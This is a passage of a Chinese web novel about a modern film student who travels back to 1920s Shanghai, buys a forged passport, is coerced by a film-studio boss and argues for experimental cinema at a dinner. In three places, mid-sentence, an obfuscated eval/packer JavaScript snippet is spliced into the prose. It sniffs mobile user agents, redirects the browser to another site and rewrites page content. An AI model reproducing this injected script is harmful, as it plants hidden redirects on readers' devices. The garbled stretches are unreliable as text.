周弥本已打好腹稿,准备将海上遇险、财物尽失的悲惨故事再润色一番,来解释自己这个“华侨千金”为何如此锱铢必较,钻进钱眼。 谁知,陆世铮闻言,连眉梢都未动一下,仿佛她这直白的讨要非但不失礼,反是理所当然。 他二话不说,转身走到办公桌后,利落地拉开抽屉,取出支票簿,很快便将另一张墨迹犹湿的支票递到她面前。 又是一千! 他微笑道:“周小姐这一席话,剖肌析理,直指要害。其价值远不止一千大洋,请周小姐不要客气。” 太意外了,真没想到,远超预期…周弥实在不禁有些飘飘然。 临别时,陆世铮提出派车送她,周弥还有事要做,赶紧婉拒,只说想自己随处走走,在公司门口招手叫了辆人力车。 车夫吆喝一声,车轮辘辘转动,融入上海街头的车水马龙。 靠在微微颠簸的车厢里,周弥望着窗外不断向后流淌的景色:西装革履的先生,旗袍摇曳的淑女,挑着担子吆喝的小贩,闪烁的霓虹与老旧的招牌交错……一种巨大的、迟来的荒谬感,这才慢悠悠地涌上心头。 她竟然真的穿越了。 前两天还是个为毕业论文秃头、为工作简历石沉大海而焦虑的普通学生,今天却坐在民国上海的黄包车上,口袋里揣着一千大洋的支票,被一位南洋巨贾的公子奉若上宾,抢着聘为顾问…… 她还拒绝了。 这感觉,虚幻得像一场逻辑错乱的梦。 去银行取过钱,又请车夫载她去福熙路旧货市集,刚站稳,便有兜售“关外上好貂皮”的小贩凑上来,她摆摆手,朝里面更密集的摊档区走去。 两侧是略显古旧的铺面,中间空地上则纵横排开数排地摊,旧书、字画、生了铜绿的佛像、看不出年代的瓶瓶罐罐、西洋钟表零件、甚至老式相机……周弥的目光缓缓扫过,最后在一个不起眼的角落停住。 那里应该有她想要的东西。 摊主是个戴着圆框眼镜、面容精瘦的中年人,面前只铺着一块深蓝粗布,上面摆着几枚看似普通的印章、几本空白的硬壳簿子,还有一小排不同样式的金属戳子。 “小姐,要刻章?”他声音干哑,并没什么热情。 周弥蹲下身,手指拂过摊上那本空白的硬壳簿子,皮质粗劣,但格式是像模像样的,又看了看那几枚印章,刻的是些看不懂的徽记或外文花体。 周弥从民国报纸史料上看到过,这种人表面以刻章为业,实际是以做假证为主要营生的。 她神秘一笑,压低声音,“办点别的。” 摊主眼神里那点散漫收了起来,变得专注而审慎。“哪种,给什么人用?” 他同样压低了嗓音,像地下机构接头,同时递过一个本子和笔,示意周弥把需求写在上面。 “护照,归国华侨,女性,二十出头。旧金山来的。”周弥把关键词写在本子上,神神秘秘地合上后递过去。 摊主接过,也神神秘秘地背过身去翻开,只看了一眼,眉头就拧成了疙瘩,忍不住低声嘟囔:“这几个字啥意思呀?这是汉字吗?” 周弥有点窘,看来在这生活,头一桩还是要学会写繁体字,也不是人人都像陆世铮一样看的懂简体字的。 她迅速瞥了眼周围,确定无人留意,便拉着摊主往角落又挪了半步,几乎是用气音将需求低声复述了一遍:“旧金山回来的华侨,家里不行了,就剩我一个,回国遇了麻烦,证件丢了,急需个能应付事儿的身份凭证,比如护照…” 摊主有点为难:“华侨……这有点扎手。沾着洋人的边,规矩多,万一碰到领事馆较真……” “不用经得起领事馆详查。只要看起来像那么回事,纸头硬实,印章齐全,能应付本地警察局或者旅馆、银行的普通盘问,别让人一眼看出假就成。我是真遇上急事了,权宜之计。” 摊主沉吟着,又上下仔细打量她。崭新的西式呢子大衣,剪裁摩登,头发样式也摩登,好像发色也不是纯黑色,总之,除了长得东方,气质确实西化。 他咂摸了一下嘴:“照片有吗?” “没有现成的,可以马上拍。” “那成。”摊主伸出三根手指比了比,“这个数。先付一半定金,东西备齐后,交 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17001692|193976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 货时付清。不出市集,东头‘刘记照相’后面那条窄巷,第三个小门,敲三长两短。后天下午,过时不候。” 周弥没有犹豫,从取出的大洋里数出相应的数目递了过去。 摊主在纸上记下名字,又问了些细节,如大概的归国日期、乘坐的船名、在旧金山的住址区域。这些问题都在周弥准备的范围之内,答得流畅自然。 事毕,周弥在市集里转了一圈,目光扫过各个角落,却并未寻见流动的照相摊子,略一思忖,索性便朝着摊主提及的“孙记照相馆”走去。 照相馆门面不大,嵌在两家旧货铺子中间,橱窗里陈列着几幅表情拘谨的男女肖像,生意竟出乎意料地好,已有三五人门外等候。 排在周弥前面的是两个年轻女学生,看打扮像是附近女子中学的。 一位个子高挑,身段玲珑,生得明眸皓齿,即便穿着朴素的阴丹士林蓝布旗袍,也难掩丽色;另一个则矮了半头,模样也算清秀,只是站在同伴身边,便显得平淡了些。 两人正低声说着话。从她们的对话里听的出,高个儿的叫珍珍,矮一点的叫瑶瑶。 瑶瑶正拉着珍珍的袖子,语气带着哄劝,“珍珍,来都来了,就别抱怨了嘛。” 珍珍蹙着秀气的眉,声音里满是不情愿:“好不容易一个休息日,不在屋里歇着看看书,非要拉我来这里折腾……照相有什么意思,木木地坐着,怪傻的。” “这次不一样!”瑶瑶急忙解释,眼里闪着光,“这次是拍美术照!” 一听到美术照三字,周弥心里便暗叫不妙。 美术照就是21世纪的写真,布光、摆姿势、换背景,一套流程下来,没个把小时怕是结束不了。 这小店容量不大,她又没手机可以打发时间,岂不是要闷死。正暗自焦急,却听那珍珍嗤了一声: “你又吹牛。上次说你表哥在电影厂做照明工,能带我们进去看拍戏,结果呢?连片场的门朝哪开都没见着。这次又说你叔叔要搞写真,不都是对着镜头傻站着?能有什么不同。” 瑶瑶脸微微一红,却不气馁,挽住珍珍的胳膊,声音放得更软:“真的不一样,珍珍。美术照能把人照得像月份牌上的女明星一样,光影啊、角度啊,都特别讲究。我拍不拍无所谓,我是想让你拍,你这样美,拍出来肯定比那些女明星还好看十倍!” 这话显然搔到了痒处。珍珍虽然面上还绷着,嘴角几不可察地翘了翘,也不再抱怨了。 谁知,老板突然从帘子后面探出半个身子,扬着手喊道:“对不住,对不住诸位!美术照相专用玻璃干板,就剩最后两张了,还有配着用的高级相纸也只够印两份的。剩下排队的各位街坊,明儿请早,或者改拍用普通胶卷的快照也成。” 队伍里顿时一阵失望的骚动。最前面那两位中年太太,闻言立刻举起手,急声道:“那我们两个是够的啦!” 老板点头道:“哎!还有两人份的,两位太太里面请!”说着,殷勤地打起帘子,要将那两位让进去。 珍珍的脸色风云变幻,愤怒地瞪向瑶瑶,“这——不——是——你——叔——叔——开——的——馆——子——吗?!” 5. 猎罪现场 瑶瑶无措地张了张嘴:“珍珍,我……” “你什么你!自家叔叔连这点后门都走不了?让两个阿婶抢了先?上次电影厂的事也是,这次也是!嘴上说得好听,什么带我拍美术照,比女明星还漂亮……结果呢?让我在这儿像个傻子一样排队,排到了告诉我没了?” 珍珍越说越气,胸脯起伏,语气里的轻蔑和怒气毫不掩饰,“你是不是觉得耍我很好玩?摆布我你很得意?” 瑶瑶的脸涨得通红,眼圈瞬间就红了,嗫嚅着想辩解:“不是的,我叔叔他……他今天忙,没顾上……” “忙?我看是你根本没跟他说吧!或者人家根本就没把你这个侄女当回事!从你拉着我在这儿傻等的时候我就觉得不对劲了,叔叔开的馆子,侄女来拍照还要排队?直到刚才老板出来,眼睛扫都没往你这边扫一下……瑶瑶,你编谎话之前,好歹打打草稿!” 瑶瑶急得眼泪在眼睛里打转,徒劳地想要拉住她的衣袖:“不是的,珍珍,你听我说,我叔叔他做人就是一板一眼,公私分明,不是那种会……” “你还狡辩!”珍珍猛地甩开她的手。 “我没有……”瑶瑶的声音已经带上了哭腔,“那……那不然我们明天再来拍好不好?我保证!今天我请你吃‘沙利文’的冰淇淋,双球的,别生我气了……” “不行!”珍珍抱臂,下巴抬得高高的,“我现在已经排了这么久,本来也没多稀罕拍,可现在我还非拍上不可了!你去,跟那位‘一板一眼’说,把机会让给我拍。只要我今天能拍上,之前的事,我就算了。” 瑶瑶面露难色:“可……可那两位太太已经进去了呀……珍珍,好珍珍,我也不知道拍美术照的这些东西还限量,你别当着这么多人骂我了,大家都看着呢……” 珍珍冷着脸说:“你让我进去拍,我就不骂你了。” 周围等待的人目光各异,有同情的,有看热闹的,也有嫌她们吵闹的。瑶瑶低着头,眼泪在眼眶里打转,又委屈又难堪,不知道怎么接话的好。 周弥从排队起就看得分明。那个叫瑶瑶的女孩,对珍珍是近乎卑微的讨好,每句话都小心翼翼逢迎;而珍珍,则心安理得地享受着这份追捧,言语神态间带着一种居高临下的轻慢。 等候时珍珍明明频频偷眼去瞄橱窗里那些美术照,眼里闪着光,嘴上却偏要做出不情不愿、是被瑶瑶强拉来的姿态。 要是在之前的世界遇到这种事,周弥只会心中表示强烈谴责,外加回去后和闺蜜蛐蛐两句,绝不张口在现场干涉。 但现在,她却忍不住路见不平一声吼了……其实也没有吼: “哟,还能这么霸道的呀?” 珍珍正全神贯注地“制裁”瑶瑶,冷不丁被这闲闲一句打断,猛地回头,满脸不悦。 待看清说话的是位穿着体面、气度沉静的小姐,她嚣张的气焰下意识收敛了三分,但语气依旧不善:“关你什么事?我说她,又不是说你。” "怎么不关我事呢?我不是刚说了嘛。既然加塞插队这么随意……”周弥目光扫过珍珍身前,语气轻飘飘的,“那我也准备插个队,就插您二位前头。我也想拍美术照呢。" 珍珍脸上顿时红白交错,像是被无形的软钉子扎了一下,张了张嘴,竟一时语塞。 周围等待的人目光聚焦过来,窃窃私语声清晰可闻, “这太不讲理的啦,人家两位太太都进去了,她还要逼着那小姑娘去把人撵出来。” “就是说的啦,这么霸道……” “脾气这么大,瞧把那小姑娘给欺负的哟,眼泪汪汪的。” 珍珍到底爱面子,重重地“哼”了一声,一把甩开瑶瑶不知何时又怯怯挽上来的手,冷冷地说:“孙祺瑶!我跟你绝交!”扔下这句话,一跺脚,扭身跑走了。 孙祺瑶愣在原地,脸上还挂着泪痕,她犹豫地看了周弥一眼,匆匆低声道了句谢,便也转身,焦急地追着珍珍的背影去了。 照相馆门口的光线,透过蒙尘的玻璃和厚重的棉布帘子,滤成一种浑浊的暖黄色,斜斜地落在周弥肩头。她心中像被这束光劈开了一道缝隙,豁然透亮,清晰地映照出两件事。 第一件,其实人们从不缺正义感,缺的只是那份挺身而出所需的能量。活着本身已是负重前行,哪还有余力去当别人的救世主呢?若一个人如果笃定地知道自己在这个世界上与众不同,她就会有无与伦比的信念感,这种信念感会带来很多能量。 第二件,学电影的人,谁会不知道孙祺瑶呢?即便在百年后的电影史简编中,她的名字也绝非可有可无的脚注。 周弥从未想过,会在这样寻常午后的照相馆门口,以如此戏剧性甚至有些狼狈的方式,与这位尚在青春窘境中挣扎的未来之星,猝然相遇。 … 按照约定的时间,周弥拿着照片寻到了假证贩子和她约定的地方。 她抬手,按照约定方式在门上敲了三下,停顿,又敲了两下。 里面传来细微的窸窣声,过了一会儿,门开了一条缝,露出半张脸,那人点点头,侧身让她进去。 门内是个狭小昏暗的房间,只有一扇糊着报纸的高窗透进些许天光。 屋里杂乱地堆着纸张、油墨罐、一些金属模具和一台老旧的印刷机模样的东西。空气里充斥着油墨和化学药水的刺鼻气味。 “坐。”他指指凳子,自己则坐到一张堆满杂物的工作台后,打开一盏昏黄的电灯,从周弥手里接过照片,略微端详后,从抽屉里抽出了一份纸张略厚、印有暗纹的空白证件,上面已经填好了周弥上次提供的信息。 他将照片贴在指定位置,用蘸了特殊胶水的刷子小心涂刷边缘,又取出几个大小不一的钢印和日期戳,在照片骑缝处、证件签名栏等处用力压下清晰的凹凸痕迹。最后,用一把小刷子蘸了金色粉末,轻轻扫过印章凸起部分,不到半小时,一份看起来颇为“像样”的护照便摆在了周弥面前。 紧接着,又递给她另一张稍小的纸片,像是临时居住凭证,上面简单填写了信息,盖着另一个不同的红色方章。 他说:“这些,应付一般的旅店登记、码头查验、银行开户,足够了。只要别碰到专门搞这个的,或者被拿到领事馆对印鉴,一般看不出来。” 办妥了“身份”,周弥心中稍定,却没有立刻离开,而是语 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17001693|193976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气自然地打听道:“老板,再跟你打听个事儿。这附近,有没有女子中学?离这儿比较近的,该怎么走?” 老板手上动作未停,头也不抬地报了附近两条路名和一所教会女子中学的大致方位。 “多谢。”周弥得了信息,不再耽搁,付清余款,将两份还带着油墨余温的证件仔细收好,转身拉开门。 午后阳光有些刺眼,她眯了眯眼,刚走到窄巷与外面主街交会的巷子口,一辆漆黑的福特轿车便悄无声息地滑到她面前,稳稳停住。 车门打开,一个穿着深色短褂、面容精悍的男人利落地跨下车,径直走到周弥面前,挡住了她的去路。 他动作客气,眼神却带着不容拒绝的意味,微微躬身,做了个“请”的手势:“这位小姐,我们老板请您一叙。” 周弥心头警铃骤响,面上却竭力维持镇定,后退了半步,目光迅速扫过男人和那辆擦得锃亮的轿车:“你们老板?请问是哪位?” 男人脸上没什么表情:“我们老板是众一电影公司的邵先生,请您过去聊聊电影。” 周弥也是奇了怪了,众一的人怎么会找上她,她才"空降"到这多久啊,接触的人一只手都数的过来,怎么有老板主动找上门来聊电影? 只能是她和陆世铮的谈话被人窃听了。华光里面有内鬼?商业间谍? 她不懂商战,但是她知道自己的精力和知识体系都应付不来脚踏两只船,脚步下意识地后挪了半步:“我初来乍到,你们怕是认错人了。” 那精悍男人见她犹豫,语气虽仍算客气,却透出几分不容商量的强硬:“周弥小姐,我们老板诚意相邀,请您移步一叙。车就在这儿,请吧。” 他说话间,一手优雅地做出邀请手势,另一只手却已不着痕迹地虚拦在她身后,封住了退向巷内的路径。 周弥眉头蹙紧:“这是什么意思?” 男人嘴角似乎扯动了一下,目光扫过略显僻静的巷口,声音压得更低:“周小姐,恐怕这由不得您。老板吩咐了,您是愿意去要去,不愿意去……也得去。” “凭什么?”周弥心头一凛,但怒意更甚,她挺直脊背,故意抬高了声音,“光天化日之下,你们还想强掳不成?这是违法!” “违法?”一个中年男声,忽然从轿车后座敞开的车窗里飘了出来。 紧接着,车门再次打开,一个穿着藏青色长衫、戴着金丝边眼镜的男人不紧不慢地下了车。 他看起来五十多岁,面容保养得宜,但鬓角已有了些许白发,脸上挂着看似和气实则皮笑肉不笑的表情,手里漫不经心地捏着一个小巧的紫檀木鼻烟壶,踱到周弥面前约两步远的位置站定: “周小姐,初次见面,鄙人邵同,众一公司的老板,幸会。” 说着,他自然地伸出那只没拿鼻烟壶的左手,做出握手的姿态。 周弥一脸戒备,并没有任何伸手的意思。 邵同似乎并不觉尴尬,拇指推开鼻烟壶的小盖,凑近深深吸了一小撮,眯着眼,满足地轻“嗯”了一声: "说到违法,周小姐……伪造文书,冒用身份,这在上海滩可是要吃巡捕房官司的。” 6. 舌辩群儒 周弥心砰砰跳,想是被跟踪了,事已至此,只能死鸭子嘴硬,反正出门在外身份是自己给的。 “我的材料放在箱子里,在海上出了事故丢了。因为得了些收入,带在身上不方便,容易被歹人盯上,所以需要银行马上开户。要是走正经程序,我这种华侨还是比较麻烦,所以应急而已。” 她顿了顿,将预备好的故事和盘托出: “家父周慕禹,旧金山广昌行的东主。陆先生或许没听过,祖上侥幸,在淘金热的年代站稳了脚跟。可惜时运不济,排华法案一道严过一道,生意便凋零了。家父心灰意冷,变卖了最后的产业,本想带我归国安度余生……不料太平洋上的风浪,没给我们这个机会。” 邵同脸上那点皮笑肉不笑的弧度丝毫未变,等她把话说完,才不紧不慢地开口: “噢!原来如此……只是,即便退一万步,周小姐没有假冒身份,单单是伪造文书这一条,在上海滩,就足够你吃上几年的巡捕房官司了。” 他突然爽朗地笑起来,仿佛刚才的针锋相对只是场误会:“周小姐别紧张,我绝无歹意。只是听说,你今天上午在华光公司,有一场十分精彩的‘隆中对’。老朽心痒,想换个清静地方,好好向你讨教讨教。”说罢,他径自弯腰坐进了汽车后排。 那精悍男人——现在看分明是他的司机,面无表情地拉开另一侧车门,朝周弥做了个不容拒绝的“请”的手势。 周弥知道再无转圜余地,只得上车。 车厢内,邵同已安然坐在后排靠右的尊位,周弥坐在他左侧,两人之间隔着恰到好处的一臂距离,但这同排而坐的格局,让邵同不必转头,仅用眼尾余光便能将她脸上最细微的波动尽收眼底。 车窗外华灯初上,霓虹与街灯的光流断续掠过,将他半边脸映得忽明忽暗,像副沉在暗水里的老面具。 引擎低鸣,车子平稳滑入街道。邵同像是忽然想起什么家常话头,随口问道:“周小姐说的广昌行…具体经营什么货品?主要走哪条航线呢?” “南洋土产、少许五金。航线……家父生意上的事,我其实了解不深。" “也是…那么,周小姐在国内可还有什么亲戚能投靠?” "…没有,都去世了。" “哦。”邵同似乎并不意外,指节在膝上轻轻叩了叩,“那周小姐这趟回来,是打算长住,还是暂居?对上海,可还熟悉?” “不算熟悉。还没想好。”周弥不愿多露半分口风。 “看来周小姐是打定主意要孤身闯荡了。” 邵同叹了口气,那叹息里听不出是真惋惜还是别的什么,“这上海滩啊,说大也大,说小也小。一个无亲无故的年轻女子,单凭一张……来历有些微妙的护照,”他刻意在此处顿了顿,语速放得更缓,“就想在这里立足,甚至搅动风云……” 他又顿了顿,“周小姐,你真觉得靠你方才那套海上遇险、家道中落的说辞,能骗过这十里洋场里所有人的眼睛么?” 话音未落,他已取出一册书,轻轻展开,递到她眼前,“上月,旧金山会馆恰巧新印了修订版。” 周弥手上装作自然地翻动书页,冷汗实则已经洇湿了内衫。紧随其后的,是被人彻底看穿、如玩物般戏耍的灼热羞愤,烧得她耳根刺痛。 原来他早已手握铁证,先前那句“原来如此”的附和,不过是饶有兴致地看她竭力圆谎。 “周小姐,你若过普普通通的日子,无人会费心查验,你的故事听起来或许蛮像那么一回事。可一旦你引人注目——比如现在…" 他笑笑,"其实像我们这种人,特意想去查证些细节,算不得什么难事。” 说着,他伸出拇指和食指,将书册从她手中一夹,轻盈提了去,“像你这样身份不够牢靠的人,在上海最容易惹上一种麻烦,被当成南边来的,或者北边来的,‘那边’的人……" 他刻意省略了“特务”或“间谍”的字眼,却比直说更令人胆寒。 “我没有恶意,也不关心你究竟是谁、为何而来。但眼下,我确实有件小事,需要一位像周小姐这般有见识的人帮点小忙。作为交换,你的身份问题,我可以让它不再是问题。” 周弥指甲掐进掌心。 这是赤裸裸的胁迫,但她没有选择。 “我确有不便言明的苦衷,但绝非您所猜测的那样。” 她强压下心头翻涌的恼怒,让声音尽可能显得镇定,“既然邵先生并无恶意,也不探究我的来去,仅仅需要我帮个小忙,那我似乎也没有理由推辞。” 她抬起眼,直视对方,“不知是什么样的事?” “具体何事,暂且不急。” 邵同嘴角掠过一丝极淡的笑意,“周小姐初到上海,我理当略尽地主之谊,顺便为你引见几位朋友。”他抬手示意司机转向,“我说过,我是个生意人。请你来,不是为了送你进巡捕房吃牢饭,而是诚心想交个朋友。” 周弥郁闷极了,无话可说,只能回以静默… 窗外流光溢彩,车水马龙。 车子最终停在一家匾额古雅的川菜馆前。 雅间里已坐着几位长袍马褂的青年,见邵同进来纷纷起身,拱手寒暄,目光落到紧随其后的周弥身上时,那面上的热络便不着痕迹地淡褪了几分,转为一种矜持的审视。 靠门边一位穿灰绸长衫的,甚至微微侧首,对身旁同伴低语了句:“怎的是位女客?” 邵同恍若未闻,只抬手为周弥略作引荐——在座皆是沪上文化界有些名气的年轻笔杆或世家子弟。 最后,他掌心向上,示意主位下手那位约莫二十七八岁的青年:“这是犬子文谦,在报馆司笔政,平日最好琢磨影戏一道。” 那青年面容与邵同有四五分相似,气质却更显清冷书卷,他朝周弥方向略一颔首,目光审慎而疏淡。 待众人重新落座,碗筷声暂歇,邵同便将话题引向正轨。 “方才车上,正与周小姐聊起眼下电影界这股‘有声’的新潮。” 他夹起一箸薄如蝉翼的晾衣白肉,状似闲谈,“诸位都是深谙传统文化的俊杰,依你们看,这影戏虽说本是西洋传来,可到底也在华夏落了地,如今硬要配上西洋人那套‘开口说话’的玩意儿,究竟妥不妥当?” 一位戴圆眼镜、面容清癯的青年率先放下筷子,语调带着文人论道时的倨傲: “邵公明鉴。晚生以为,影戏之妙,尽在光影交织、构图传神,更在演员一颦一笑、举手投足间暗藏机锋。正所谓‘此时无声胜有声’。若强行塞入俚俗对白,便如同在倪云林的淡墨山水上,硬题了一首打油诗,不惟不伦不类,徒增嘈切,更将那份含蓄悠远的意境,破坏殆尽了。” 另一人随即附和: “正是。且我华夏观戏,讲究的是‘听’戏,听的是锣鼓丝弦,品的是唱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17001694|193976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 念韵白。若电影都开口说话,谁还去戏园子?这不是自断文脉么。” 邵同并不表态,只将目光徐徐转向身侧:“文谦,你素日对此道多有究心,你怎么看?” 邵文谦这才放下一直摩挲的细瓷茶盏,抬眼时,目光先掠过周弥,才转向父亲。 他语气平和,措辞却立场分明: “父亲,影戏自诞生起,便是一门以光影书写的视觉艺术。其精髓在于以画面叙事,以留白引人遐思。强行纳入有声对白,非但如方才诸位所言,有损画面本身的纯粹与意境之美,更将观者天马行空的想象,捆绑于苍白直白的台词之上,实是舍本逐末,有违这门艺术的本真。” “邵兄此言,直指要害!”立刻有友人出声赞道,席间响起一片低低的附和之声。 周弥安静听着,心知这是邵同精心安排的考场,既要试她深浅,也要在儿子面前立威。 待席间几人都已表过态,空气里弥漫着一种近乎一致的保守气息时,邵同果然将目光转向她,笑意温和:“周小姐从外洋归来,见多识广。对这‘有声’之风,想必有些不同的见解?” 所有目光瞬间聚焦过来。 周弥心下暗叹,老江湖到底是老江湖。从进门时他面不改色地向众人引荐她那套华侨千金的说辞起,她就如坐针毡。当时他目光落在旁人身上,她尚能勉强维持镇定;此刻他这般“殷切”地望着自己,仿佛她真是那位来自旧金山的周小姐,这戏谑而精准的配合,反而让她脸颊微微发烫,有种被人看穿又陪着演戏的双重窘迫。 她定了定神,迎上那些审视的目光,声音清晰:“方才听了诸位高见,受益匪浅。我确实有些浅见,或许和大家有所不同。” 她视线转向邵文谦,语气平和却带着思辨: “邵公子方才提及,有声片可能束缚观者想象。这让我想到,默片中的字幕卡,难道不也是一种‘台词’?无非是将‘听’的台词,换作了‘读’的文字。或许,真正的束缚并非来自技术本身,而在于创作者是否离了台词,就无法用画面讲好一个故事。” 邵文谦眉梢微动。 她又看向眼镜青年: “至于怕失了华夏戏韵——电影自西洋传来,本就非我故物。诸位当初既肯接纳这哑巴影戏,为何却对让它开口说中国话,如此如临大敌?怕的不应该是技术,而是技术来了,我们却没了自己的腔调。梅兰芳先生前年访美,若没有新式舞台与跨洋轮船这些新玩意,他的戏如何能惊艳西方?新技术是船,传统艺术是货。船固重要,可若只因怕船新,就连货也不运了,这究竟是守传统,还是误传统?” 席间一片沉静,先前发言的几人面色各异。 周弥见无人立刻反驳,便想再添一例: “其实,类似的冲击并非独见于我国。西方亦有话剧,当电影兴起时,它也曾面临……” “周小姐此言差矣!” 方才附和邵文谦的那位友人忽然出声打断,他放下酒杯,语气带着一种近乎预言般的忧虑,“我听闻,在西洋,话剧的观众确已少了许多,都被吸引到电影院里去了。长此以往,话剧消亡恐是迟早之事。若依此理,我华夏戏曲,怕也是同样下场,这岂不正是佐证了我们的担忧?” 他的质问掷地有声,骤然把这件事拉到严峻高度,仿佛谁赞成谁就是民族罪人。 所有人的目光再次紧紧锁住了周弥,等待她的回应。 7. 倒反天罡 这个帽子扣得极大、极重,直接将周弥推到了文化立场的道德审判席上。 如果她承认戏曲可能会受影响,那就坐实了文化罪人身份;如果她否认戏曲会受影响,则需要推翻对方提出的既定事实。 可这完全是不可能的。 她不应该,也不可能以一个开天眼的状态说:“请相信我,未来戏曲依然存在。” 即便存在,是怎样的存在? 在她的时代,无论是话剧还是戏曲,大多已离不开官方或私人补贴,退守为小众艺术。这算不上消亡,却也绝非鼎盛。 甚至就算电影,也不再是民众的第一选择。 80后90后看的最多的是电视剧,00后看的最多的网剧,就在她穿越前的那个白天,她还看了部短剧。 她曾写过一篇课程论文,题目是《论戏剧现场的不可替代性》。当时的核心论点是:戏剧的生命力在于“即时性”与“共生性”——观众与演员呼吸同频,每一次掌声、叹息甚至静默,都直接参与并塑造着当夜的演出。这种活生生的交流,是任何录制好的影像永远无法复制的。 那是她曾经的笃信。可直到毕业前,同门的论文已经开始着眼于AI技术关于即时互动的叙事体验。 她要反驳的,无非就是世界潮流,浩浩汤汤,顺之者昌,逆之者亡… 可再小众的艺术,也曾是人类智慧的结晶,也有一部分群体,发自内心的热爱着。 那她何不成人之美,从善如流?为何非要所有人都统一步调去追求最先进的事物? 趁她思考踌躇未答,有人紧添一把火:“你们说的话剧,不就是咱们的文明戏么?若是话剧在西洋垮了,我看咱们这新生的文明戏也是快了。” 又有人应和,"是这么个理儿。看电影的本来就比看文明戏的多,只是电影不说话,有的人爱听个响儿,所以还会去看文明戏,要是电影也说了话,文明戏一点好处都占不着了。" 邵同不说话,只搁下筷子,慢条斯理地用热毛巾擦了擦手,似笑非笑,似乎是等着看热闹。 周弥心头一凛,暗骂自己终究脱不去那身学生气。什么探讨艺术、忧心传统,不如说玩的是一出坦荡的阳谋。 邵同是想测试价值,看她在华光那番话是灵光一现,还是真有持续输出的能力。 一旦她在这场辩论中表现不佳或屈服,她将彻底失去谈判筹码。而她刚才险些真入了戏,差点把这当成学术交流现场,和这些人宏观探讨学术和理想。 说实话,周弥其实根本不在意众一电影公司破不破产。 作为一个后世人,一个电影公司存活再久,营业额再大,也抵不过它为后世留下几帧真正不朽的光影,这是理性层面。 而从感性来说,众一的电影帝国又不是她的,邵同那老滑头的做派她更是不喜,倒了就倒了,更是不关她事。 既然他们要听她讲,那她何不把握这个机会,倒反天罡,让众一公司作为自己谋篇布局的一子。 这么想着,她话锋轻转,语气里透出几分"指引"的意味,“众一若真想寻一条生路,恰恰不该随波逐流,去挤那有声的窄桥。诸位珍视的雅韵和意境,恰是别家没有的珍宝,何不将它做到极致?” 她稍作停顿,见众人目光汇聚,从容举出例子: “德国前些年有部电影,叫做《卡里加里博士的小屋》,不知在座各位同仁是否有人看过。这部电影全无外景,全部在摄影棚内拍摄,用的并不是写实布景,而是以扭曲倾斜的街道、尖耸怪异的房屋,配以诡谲的光影,将人物内心的癫狂与压迫之感直接画在幕布上。它不讲一个流畅故事,却开创了用纯粹视觉语言探索心理深渊的先河。” 席间响起低低的交头接耳。她趁势续道: “再如法国去年刚上映的《一条安达鲁狗》,这部电影压根没有情节可言,全是一些支离破碎的梦境与幻觉的画面,比如剃刀划过眼球啦,手掌爬满蚂蚁啦……这些电影全然不顾叙事、只求视觉与情绪的实验之作,照样引发了震撼,获取了巨大成功。” 她几乎想脱口而出:哪怕再过一百年,人们提起它们还是会惊叹。到底忍住了,只化作唇边一抹浅淡的笑意:“可见,连故事本身都能打破重塑,声音有没有、怎么用,又何必非得定死一个规矩?” 席间惊奇之色更浓。 那位戴圆眼镜的青年身子不自觉地前倾,扶了扶镜框,语气急切:“周小姐,照您这么说,拍电影……真能完全不管故事,只靠画面和配乐来拉扯观众的心绪?这、这听起来,简直是要推翻影戏的根本啊。” 邵文谦转向眼镜青年道: “关于这部《一条安达鲁狗》,我前些日子恰好在《现代电影》杂志上读过步高先生的影评。程先生是留法回来的,他说此片在巴黎首映时,确曾轰动一时,但争议也极大。称之为‘超现实主义的爆裂之作’,却也明言它过于晦涩,绝非寻常路径,不宜轻率模仿。” 说罢,目光又望向周弥,先前的疏淡审慎被一种浓厚的兴趣取代, “我虽还未亲眼得见片子,但想来,如此颠覆常理,近乎对观看习惯的挑衅。它们的存在意义,难道仅仅是为了‘开拓’而开拓?” “问得好。”周弥迎向他的视线,“它们的存在,恰恰证明了电影是一门独立艺术,绝不只是讲故事的媒介。" 话说到此,她见众人神色各异,或深思,或兴奋,或好奇,气氛已然烘托至此,便故意收了话头。她拿起筷子,脸上虽仍是一片烂漫色彩,语调却轻轻一叹: “光顾着答话,说了这半天,饭菜倒没动几口,这会儿才觉得真是饿了。” 言语虽轻,里头那点“贵府待客,似乎忘了先让客人吃饱”的软刺,却扎得恰到好处,刚好让该听懂的人听个分明。 邵同面上微笑不改,只将目光淡淡投向儿子。邵文谦早已起身,执起公筷,默不作声地为她布了几样清淡合宜的菜,又将她手边那盏已凉透的茶水泼了,重新注上滚热的新水。 恰在此时,雅间的门被轻轻推开。 一位身着旗袍,三十多岁的 